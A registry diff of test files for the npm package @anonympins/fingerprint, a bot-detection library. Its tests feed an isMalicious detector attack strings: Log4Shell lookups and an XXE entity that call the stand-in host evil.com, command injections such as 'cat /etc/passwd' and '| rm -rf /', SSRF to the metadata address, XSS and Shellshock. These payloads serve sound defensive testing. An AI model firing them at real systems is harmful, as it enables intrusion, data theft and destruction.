@anonympins/fingerprint 0.4.6 → 0.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,117 +1,235 @@
1
- import {describe, expect, it} from 'vitest';
2
- import {isMalicious} from '../fingerprint.js';
3
-
4
- // We import the function directly to test it in isolation, avoiding vite:define errors.
5
-
6
- describe('isMalicious Unit Tests', () => {
7
-
8
- describe('SQL and NoSQL Injections', () => {
9
- it.each([
10
- ["' OR '1'='1'"],
11
- ["' or '1'='1' --"],
12
- ["UNION SELECT username, password FROM users"],
13
- ["; DROP TABLE products;--"],
14
- ["SLEEP(5)"],
15
- ["BENCHMARK(10000,MD5('a'))"],
16
- ["WAITFOR DELAY '0:0:5'"],
17
- ['{"$ne": null}'],
18
- ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
19
- expect(isMalicious(payload)).toBe(true);
20
- });
21
-
22
- it.each([
23
- ["A normal comment -- for a blog post."],
24
- ["Please select your union representative."],
25
- ["The price is not equal to $10."],
26
- ["My favorite song is 'Stairway to Heaven'."],
27
- ])('should NOT detect legitimate string: %s', (payload) => {
28
- expect(isMalicious(payload)).toBe(false);
29
- });
30
- });
31
-
32
- describe('Log4Shell (JNDI Injection)', () => {
33
- it.each([
34
- ["${jndi:ldap://evil.com/a}"],
35
- ["${jndi:rmi://evil.com/a}"],
36
- ["${jndi:dns://evil.com/a}"],
37
- ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
38
- ])('should detect Log4Shell pattern: %s', (payload) => {
39
- expect(isMalicious(payload)).toBe(true);
40
- });
41
-
42
- it.each([
43
- ["The variable is ${user.name}"],
44
- ["This is a normal log message."],
45
- ])('should NOT detect legitimate log message: %s', (payload) => {
46
- expect(isMalicious(payload)).toBe(false);
47
- });
48
- });
49
-
50
- describe('Server-Side Template Injection (SSTI)', () => {
51
- it.each([
52
- ["{{ 7*7 }}"],
53
- ["{% if user.isAdmin %}{% endif %}"],
54
- ["Hello {{user.name}}"], // Potentially risky
55
- ])('should detect SSTI pattern: %s', (payload) => {
56
- expect(isMalicious(payload)).toBe(true);
57
- });
58
-
59
- it.each([
60
- ["A normal string with {curly braces}"],
61
- ["(100%)"],
62
- ])('should NOT detect legitimate string with braces: %s', (payload) => {
63
- expect(isMalicious(payload)).toBe(false);
64
- });
65
- });
66
-
67
- describe('XML External Entity (XXE)', () => {
68
- it.each([
69
- ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
70
- ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
71
- ])('should detect XXE pattern: %s', (payload) => {
72
- expect(isMalicious(payload)).toBe(true);
73
- });
74
-
75
- it.each([
76
- ["<!DOCTYPE html>"],
77
- ["<note><to>Tove</to></note>"],
78
- ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
79
- expect(isMalicious(payload)).toBe(false);
80
- });
81
- });
82
-
83
- describe('Path Traversal', () => {
84
- it.each([
85
- ["../../../../etc/passwd"],
86
- ["..\\..\\..\\..\\windows\\system32\\config.sam"],
87
- ])('should detect Path Traversal pattern: %s', (payload) => {
88
- expect(isMalicious(payload)).toBe(true);
89
- });
90
-
91
- it.each([
92
- ["path/to/a/legitimate/file.txt"],
93
- ["Just two dots.. not a traversal."],
94
- ])('should NOT detect legitimate path: %s', (payload) => {
95
- expect(isMalicious(payload)).toBe(false);
96
- });
97
- });
98
-
99
- describe('Command Injection', () => {
100
- it.each([
101
- ["/path/to/script.sh; ls -la "],
102
- ["127.0.0.1 && whoami "],
103
- ["`reboot`"],
104
- ["filename.txt\ncat /etc/passwd "],
105
- [" | rm -rf /"], // Pipe before a dangerous command
106
- ])('should detect Command Injection pattern: %s', (payload) => {
107
- expect(isMalicious(payload)).toBe(true);
108
- });
109
-
110
- it.each([
111
- ["A normal command like ls -la /tmp"],
112
- ["Use the pipe | for output redirection."],
113
- ])('should NOT detect legitimate command-like string: %s', (payload) => {
114
- expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
115
- });
116
- });
1
+ import {describe, expect, it} from 'vitest';
2
+ import {isMalicious} from '../fingerprint.js';
3
+
4
+ // We import the function directly to test it in isolation, avoiding vite:define errors.
5
+
6
+ describe('isMalicious Unit Tests', () => {
7
+
8
+ describe('SQL and NoSQL Injections', () => {
9
+ it.each([
10
+ ["' OR '1'='1'"],
11
+ ["' or '1'='1' --"],
12
+ ["UNION SELECT username, password FROM users"],
13
+ ["; DROP TABLE products;--"],
14
+ ["SLEEP(5)"],
15
+ ["BENCHMARK(10000,MD5('a'))"],
16
+ ["WAITFOR DELAY '0:0:5'"],
17
+ ['{"$ne": null}'],
18
+ ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
19
+ expect(isMalicious(payload)).toBe(true);
20
+ });
21
+
22
+ it.each([
23
+ ["A normal comment -- for a blog post."],
24
+ ["Please select your union representative."],
25
+ ["The price is not equal to $10."],
26
+ ["My favorite song is 'Stairway to Heaven'."],
27
+ ])('should NOT detect legitimate string: %s', (payload) => {
28
+ expect(isMalicious(payload)).toBe(false);
29
+ });
30
+ });
31
+
32
+ describe('Log4Shell (JNDI Injection)', () => {
33
+ it.each([
34
+ ["${jndi:ldap://evil.com/a}"],
35
+ ["${jndi:rmi://evil.com/a}"],
36
+ ["${jndi:dns://evil.com/a}"],
37
+ ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
38
+ ])('should detect Log4Shell pattern: %s', (payload) => {
39
+ expect(isMalicious(payload)).toBe(true);
40
+ });
41
+
42
+ it.each([
43
+ ["The variable is ${user.name}"],
44
+ ["This is a normal log message."],
45
+ ])('should NOT detect legitimate log message: %s', (payload) => {
46
+ expect(isMalicious(payload)).toBe(false);
47
+ });
48
+ });
49
+
50
+ describe('Server-Side Template Injection (SSTI)', () => {
51
+ it.each([
52
+ ["{{ 7*7 }}"],
53
+ ["{% if user.isAdmin %}{% endif %}"],
54
+ ["Hello {{user.name}}"], // Potentially risky
55
+ ])('should detect SSTI pattern: %s', (payload) => {
56
+ expect(isMalicious(payload)).toBe(true);
57
+ });
58
+
59
+ it.each([
60
+ ["A normal string with {curly braces}"],
61
+ ["(100%)"],
62
+ ])('should NOT detect legitimate string with braces: %s', (payload) => {
63
+ expect(isMalicious(payload)).toBe(false);
64
+ });
65
+ });
66
+
67
+ describe('XML External Entity (XXE)', () => {
68
+ it.each([
69
+ ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
70
+ ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
71
+ ])('should detect XXE pattern: %s', (payload) => {
72
+ expect(isMalicious(payload)).toBe(true);
73
+ });
74
+
75
+ it.each([
76
+ ["<!DOCTYPE html>"],
77
+ ["<note><to>Tove</to></note>"],
78
+ ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
79
+ expect(isMalicious(payload)).toBe(false);
80
+ });
81
+ });
82
+
83
+ describe('Path Traversal', () => {
84
+ it.each([
85
+ ["../../../../etc/passwd"],
86
+ ["..\\..\\..\\..\\windows\\system32\\config.sam"],
87
+ ])('should detect Path Traversal pattern: %s', (payload) => {
88
+ expect(isMalicious(payload)).toBe(true);
89
+ });
90
+
91
+ it.each([
92
+ ["path/to/a/legitimate/file.txt"],
93
+ ["Just two dots.. not a traversal."],
94
+ ])('should NOT detect legitimate path: %s', (payload) => {
95
+ expect(isMalicious(payload)).toBe(false);
96
+ });
97
+ });
98
+
99
+ describe('Command Injection', () => {
100
+ it.each([
101
+ ["/path/to/script.sh; ls -la "],
102
+ ["127.0.0.1 && whoami "],
103
+ ["`reboot`"],
104
+ ["filename.txt\ncat /etc/passwd "],
105
+ [" | rm -rf /"], // Pipe before a dangerous command
106
+ ])('should detect Command Injection pattern: %s', (payload) => {
107
+ expect(isMalicious(payload)).toBe(true);
108
+ });
109
+
110
+ it.each([
111
+ ["A normal command like ls -la /tmp"],
112
+ ["Use the pipe | for output redirection."],
113
+ ])('should NOT detect legitimate command-like string: %s', (payload) => {
114
+ expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
115
+ });
116
+ });
117
+
118
+ describe('Server-Side Request Forgery (SSRF)', () => {
119
+ it.each([
120
+ ["http://127.0.0.1/admin"],
121
+ ["https://localhost:8080"],
122
+ ["http://169.254.169.254/latest/meta-data/"],
123
+ ["http://[::1]/"],
124
+ ])('should detect SSRF pattern: %s', (payload) => {
125
+ expect(isMalicious(payload)).toBe(true);
126
+ });
127
+
128
+ it.each([
129
+ ["https://google.com"],
130
+ ["https://github.com/login"],
131
+ ])('should NOT detect legitimate external URL: %s', (payload) => {
132
+ expect(isMalicious(payload)).toBe(false);
133
+ });
134
+ });
135
+
136
+ describe('CRLF Injection', () => {
137
+ it.each([
138
+ ["malicious\r\nSet-Cookie: session=evil"],
139
+ ["%0d%0aSet-Cookie: session=evil"],
140
+ ])('should detect CRLF pattern: %s', (payload) => {
141
+ expect(isMalicious(payload)).toBe(true);
142
+ });
143
+
144
+ it.each([
145
+ ["normal text without carriage returns"],
146
+ ])('should NOT detect normal text: %s', (payload) => {
147
+ expect(isMalicious(payload)).toBe(false);
148
+ });
149
+ });
150
+
151
+ describe('Cross-Site Scripting (XSS)', () => {
152
+ it.each([
153
+ ["<script>alert(1)</script>"],
154
+ ["javascript:alert(1)"],
155
+ ["<img src=x onerror=alert(1)>"],
156
+ ["<iframe src=javascript:alert(1)>"],
157
+ ])('should detect XSS pattern: %s', (payload) => {
158
+ expect(isMalicious(payload)).toBe(true);
159
+ });
160
+
161
+ it.each([
162
+ ["This is a normal paragraph with some <b>bold</b> text."],
163
+ ])('should NOT detect clean HTML/text: %s', (payload) => {
164
+ expect(isMalicious(payload)).toBe(false);
165
+ });
166
+ });
167
+
168
+ describe('Open Redirect', () => {
169
+ it.each([
170
+ ["https://evil.com"],
171
+ ["http://malicious-site.org/redirect"],
172
+ ["//attacker.com"],
173
+ ])('should detect Open Redirect pattern: %s', (payload) => {
174
+ expect(isMalicious(payload, ['openRedirect'])).toBe(true);
175
+ });
176
+
177
+ it.each([
178
+ ["/local/path/to/page"],
179
+ ["http://localhost/dashboard"],
180
+ ["http://127.0.0.1:3000/profile"],
181
+ ])('should NOT detect local redirect path: %s', (payload) => {
182
+ expect(isMalicious(payload, ['openRedirect'])).toBe(false);
183
+ });
184
+ });
185
+
186
+ describe('Local/Remote File Inclusion (LFI/RFI)', () => {
187
+ it.each([
188
+ ["etc/passwd"],
189
+ ["win.ini"],
190
+ ["php://filter/read=convert.base64-encode/resource=index.php"],
191
+ ["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
192
+ ])('should detect LFI/RFI pattern: %s', (payload) => {
193
+ expect(isMalicious(payload)).toBe(true);
194
+ });
195
+
196
+ it.each([
197
+ ["/var/www/html/index.php"],
198
+ ["My computer runs windows, yours runs linux."],
199
+ ])('should NOT detect normal filenames or terms: %s', (payload) => {
200
+ expect(isMalicious(payload)).toBe(false);
201
+ });
202
+ });
203
+
204
+ describe('Shellshock (CVE-2014-6271)', () => {
205
+ it.each([
206
+ ["() { :; }; echo 'Vulnerable'"],
207
+ ["() { :;}; /bin/bash"],
208
+ ])('should detect Shellshock pattern: %s', (payload) => {
209
+ expect(isMalicious(payload)).toBe(true);
210
+ });
211
+
212
+ it.each([
213
+ ["function test() { echo 'Not Shellshock'; }"],
214
+ ])('should NOT detect normal functions: %s', (payload) => {
215
+ expect(isMalicious(payload)).toBe(false);
216
+ });
217
+ });
218
+
219
+ describe('NoSQL MongoDB Operator Injection', () => {
220
+ it.each([
221
+ ["$gt"],
222
+ ["$elemMatch"],
223
+ ["$where"],
224
+ ])('should detect NoSQL pattern: %s', (payload) => {
225
+ expect(isMalicious(payload)).toBe(true);
226
+ });
227
+
228
+ it.each([
229
+ ["This costs $100 dollars"],
230
+ ["No operators here"],
231
+ ])('should NOT detect normal dollar signs: %s', (payload) => {
232
+ expect(isMalicious(payload)).toBe(false);
233
+ });
234
+ });
117
235
  });
@@ -1,5 +1,5 @@
1
1
  import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
2
- import {createHash, createHmac} from 'node:crypto';
2
+ import {createHash, createHmac, generateKeyPairSync} from 'node:crypto';
3
3
  import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
4
4
  import {readFileSync} from 'node:fs';
5
5
  import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
@@ -33,6 +33,7 @@ const {
33
33
  getCompositeDeviceHash,
34
34
  } = fingerprint;
35
35
  const { store, getRequestPatternScore, getDeviceHash } = __internal;
36
+ const { getRenderingAnomalyScore } = __internal;
36
37
  let { getBehaviorScore, getClickVarianceScore } = __internal;
37
38
  // Mock the entire dns module
38
39
  vi.mock('node:dns/promises');
@@ -1092,6 +1093,63 @@ describe('Fingerprint & PoW Security Suite', () => {
1092
1093
  stopThresholdAutoTuning(); // Ensure cleanup after each test
1093
1094
  });
1094
1095
 
1096
+ test('should prune traffic data based on time, size, clearAfterTuning and invoke onCleanup', async () => {
1097
+ const trafficData = [
1098
+ { type: 'challenge_solved', timestamp: Date.now() - 10000 }, // 10s old
1099
+ { type: 'challenge_solved', timestamp: Date.now() - 5000 }, // 5s old
1100
+ { type: 'challenge_solved', timestamp: Date.now() } // fresh
1101
+ ];
1102
+
1103
+ const securityConfig = {
1104
+ thresholds: { low: 20, medium: 45, high: 75, block: 95 },
1105
+ weights: { historyScore: 1 },
1106
+ patterns: {}
1107
+ };
1108
+
1109
+ const cleanedLogs = [];
1110
+ const onCleanup = (removed) => {
1111
+ cleanedLogs.push(...removed);
1112
+ };
1113
+
1114
+ // Test 1: Time-based pruning (older than 8 seconds)
1115
+ __internal.pruneTrafficData(trafficData, 10, 8000, onCleanup);
1116
+
1117
+ expect(trafficData.length).toBe(2);
1118
+ expect(cleanedLogs.length).toBe(1);
1119
+ expect(cleanedLogs[0].timestamp).toBeLessThan(Date.now() - 8000);
1120
+
1121
+ // Test 2: Size-based pruning (max size = 1)
1122
+ __internal.pruneTrafficData(trafficData, 1, 0, onCleanup);
1123
+ expect(trafficData.length).toBe(1);
1124
+ expect(cleanedLogs.length).toBe(2);
1125
+
1126
+ // Test 3: Clear after tuning
1127
+ const autoTuningTraffic = [];
1128
+ for (let i = 0; i < 110; i++) {
1129
+ autoTuningTraffic.push({ type: 'challenge_solved', timestamp: Date.now(), deviceId: `dev-solved-${i}` });
1130
+ autoTuningTraffic.push({ type: 'request_passed', timestamp: Date.now(), deviceId: `dev-passed-${i}` });
1131
+ }
1132
+
1133
+ const tuningCleaned = [];
1134
+ startThresholdAutoTuning({
1135
+ securityConfig,
1136
+ trafficData: autoTuningTraffic,
1137
+ interval: 10000,
1138
+ minDataPoints: 100,
1139
+ maxDataPoints: 500,
1140
+ clearAfterTuning: true,
1141
+ onCleanup: (removed) => tuningCleaned.push(...removed)
1142
+ });
1143
+
1144
+ const intervalCallback = setIntervalSpy.mock.calls[0][0];
1145
+ intervalCallback();
1146
+
1147
+ expect(autoTuningTraffic.length).toBe(0);
1148
+ expect(tuningCleaned.length).toBeGreaterThan(0);
1149
+
1150
+ stopThresholdAutoTuning();
1151
+ });
1152
+
1095
1153
  test('should start, run an optimization cycle, and update thresholds', () => {
1096
1154
  const trafficData = [];
1097
1155
  const securityConfig = {
@@ -1435,6 +1493,50 @@ describe('Fingerprint & PoW Security Suite', () => {
1435
1493
  });
1436
1494
  });
1437
1495
 
1496
+ describe('getRenderingAnomalyScore', () => {
1497
+ it('should return 0 if rendering metrics are missing', () => {
1498
+ const context = { headers: {} };
1499
+ const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
1500
+ expect(renderingAnomalyScore).toBe(0);
1501
+ });
1502
+
1503
+ it('should return 100 if offscreen canvas spoofing is detected', () => {
1504
+ const context = {
1505
+ headers: {
1506
+ 'x-behavior-metrics': JSON.stringify({
1507
+ rendering: { fps: 60, jitter: 0.1, offscreenAnom: true }
1508
+ })
1509
+ }
1510
+ };
1511
+ const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
1512
+ expect(renderingAnomalyScore).toBe(100);
1513
+ });
1514
+
1515
+ it('should return a high score if jitter is very high', () => {
1516
+ const context = {
1517
+ headers: {
1518
+ 'x-behavior-metrics': JSON.stringify({
1519
+ rendering: { fps: 60, jitter: 12.5, offscreenAnom: false }
1520
+ })
1521
+ }
1522
+ };
1523
+ const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
1524
+ expect(renderingAnomalyScore).toBe(65); // (12.5 - 6.0) * 10 = 65
1525
+ });
1526
+
1527
+ it('should return a high score if FPS is abnormal', () => {
1528
+ const context = {
1529
+ headers: {
1530
+ 'x-behavior-metrics': JSON.stringify({
1531
+ rendering: { fps: 300, jitter: 1.0, offscreenAnom: false }
1532
+ })
1533
+ }
1534
+ };
1535
+ const { renderingAnomalyScore } = getRenderingAnomalyScore(context);
1536
+ expect(renderingAnomalyScore).toBe(50);
1537
+ });
1538
+ });
1539
+
1438
1540
  describe('getBehaviorScore', () => {
1439
1541
  // La fonction est privée, on la récupère via l'export __internal
1440
1542
  // FIX: Correctly assign the function before tests run.
@@ -1485,6 +1587,24 @@ describe('Fingerprint & PoW Security Suite', () => {
1485
1587
  });
1486
1588
  });
1487
1589
 
1590
+ it('should return a high score for keystroke dynamics with very low dwell/flight variance (bot emulation)', () => {
1591
+ const metrics = {
1592
+ honeypotInteraction: false,
1593
+ keystrokeLatency: 100.0,
1594
+ keystrokeDwellTimes: [50, 50, 50, 50, 50], // stdDev = 0
1595
+ keystrokeFlightTimes: [
1596
+ { digraph: 'ab', time: 100 },
1597
+ { digraph: 'bc', time: 100 },
1598
+ { digraph: 'cd', time: 100 },
1599
+ { digraph: 'de', time: 100 },
1600
+ { digraph: 'ef', time: 100 }
1601
+ ] // stdDev = 0
1602
+ };
1603
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1604
+ const { behaviorScore } = getBehaviorScore(context);
1605
+ expect(behaviorScore).toBeGreaterThanOrEqual(70); // 35 (stdDevDwell) + 35 (stdDevFlight) = 70
1606
+ });
1607
+
1488
1608
  describe('getClickVarianceScore', () => {
1489
1609
  // FIX: Correctly assign the function before tests run.
1490
1610
  beforeEach(() => {
@@ -2426,6 +2546,80 @@ describe('Additional Suspicion Vectors Coverage', () => {
2426
2546
  });
2427
2547
  });
2428
2548
 
2549
+ describe('Ed25519 Asymmetric Tickets', () => {
2550
+ const { privateKey, publicKey } = generateKeyPairSync('ed25519', {
2551
+ privateKeyEncoding: { format: 'pem', type: 'pkcs8' },
2552
+ publicKeyEncoding: { format: 'pem', type: 'spki' }
2553
+ });
2554
+ const privateKeyPem = privateKey;
2555
+ const publicKeyPem = publicKey;
2556
+
2557
+ beforeEach(() => {
2558
+ process.env.ED25519_PRIVATE_KEY = privateKeyPem;
2559
+ process.env.ED25519_PUBLIC_KEY = publicKeyPem;
2560
+ });
2561
+
2562
+ afterEach(() => {
2563
+ delete process.env.ED25519_PRIVATE_KEY;
2564
+ delete process.env.ED25519_PUBLIC_KEY;
2565
+ });
2566
+
2567
+ it('should generate and validate an Ed25519 ticket successfully', async () => {
2568
+ const payload = {
2569
+ expiry: Date.now() + 3600000,
2570
+ originalIp: '127.0.0.1',
2571
+ deviceId: 'device-123',
2572
+ deviceHash: 'hash-abc'
2573
+ };
2574
+
2575
+ const ticket = fingerprint.generateStatelessTicket(payload);
2576
+ expect(ticket).toBeDefined();
2577
+ expect(ticket.startsWith('ed25519.')).toBe(true);
2578
+
2579
+ const isValid = await fingerprint.isTicketValid('127.0.0.1', ticket, 'device-123', 'hash-abc');
2580
+ expect(isValid).toBe(true);
2581
+
2582
+ const isDiffIpValid = await fingerprint.isTicketValid('192.168.1.1', ticket, 'device-123', 'hash-abc', false);
2583
+ expect(isDiffIpValid).toBe(false);
2584
+ });
2585
+
2586
+ test('Cooperative PoSpace Workflow', async () => {
2587
+ const clientIp = '127.0.0.1';
2588
+ const nodeIdA = 'node-a';
2589
+ const seedA = 'seed-a';
2590
+
2591
+ // 1. Enregistrement du nœud A (pair)
2592
+ await __internal.registerCooperativeNode(clientIp, nodeIdA, seedA);
2593
+
2594
+ // 2. Recherche de pair pour le nœud B (dans le même sous-réseau)
2595
+ const peer = await __internal.findPeerInSubnet(clientIp, 'node-b');
2596
+ expect(peer).not.toBeNull();
2597
+ expect(peer.nodeId).toBe(nodeIdA);
2598
+ expect(peer.seed).toBe(seedA);
2599
+
2600
+ // 3. Demande de bloc du nœud B vers le nœud A
2601
+ const paramsReq = {
2602
+ coop_op: 'request_peer_block',
2603
+ node_id: 'node-b',
2604
+ peer_id: 'node-a',
2605
+ block_idx: '42',
2606
+ req_id: 'req-123'
2607
+ };
2608
+ const resReq = await __internal.handleCooperativeRequest(paramsReq, clientIp);
2609
+ expect(resReq.status).toBe('queued');
2610
+
2611
+ // 4. Récupération de la demande par le nœud A
2612
+ const paramsPoll = {
2613
+ coop_op: 'poll_requests',
2614
+ node_id: 'node-a'
2615
+ };
2616
+ const resPoll = await __internal.handleCooperativeRequest(paramsPoll, clientIp);
2617
+ expect(resPoll.requests.length).toBe(1);
2618
+ expect(resPoll.requests[0].req_id).toBe('req-123');
2619
+ expect(resPoll.requests[0].block_idx).toBe(42);
2620
+ });
2621
+ });
2622
+
2429
2623
  describe('Botnet Cluster Scoring (Node.js)', () => {
2430
2624
  const inMemoryStore = {
2431
2625
  _map: new Map(),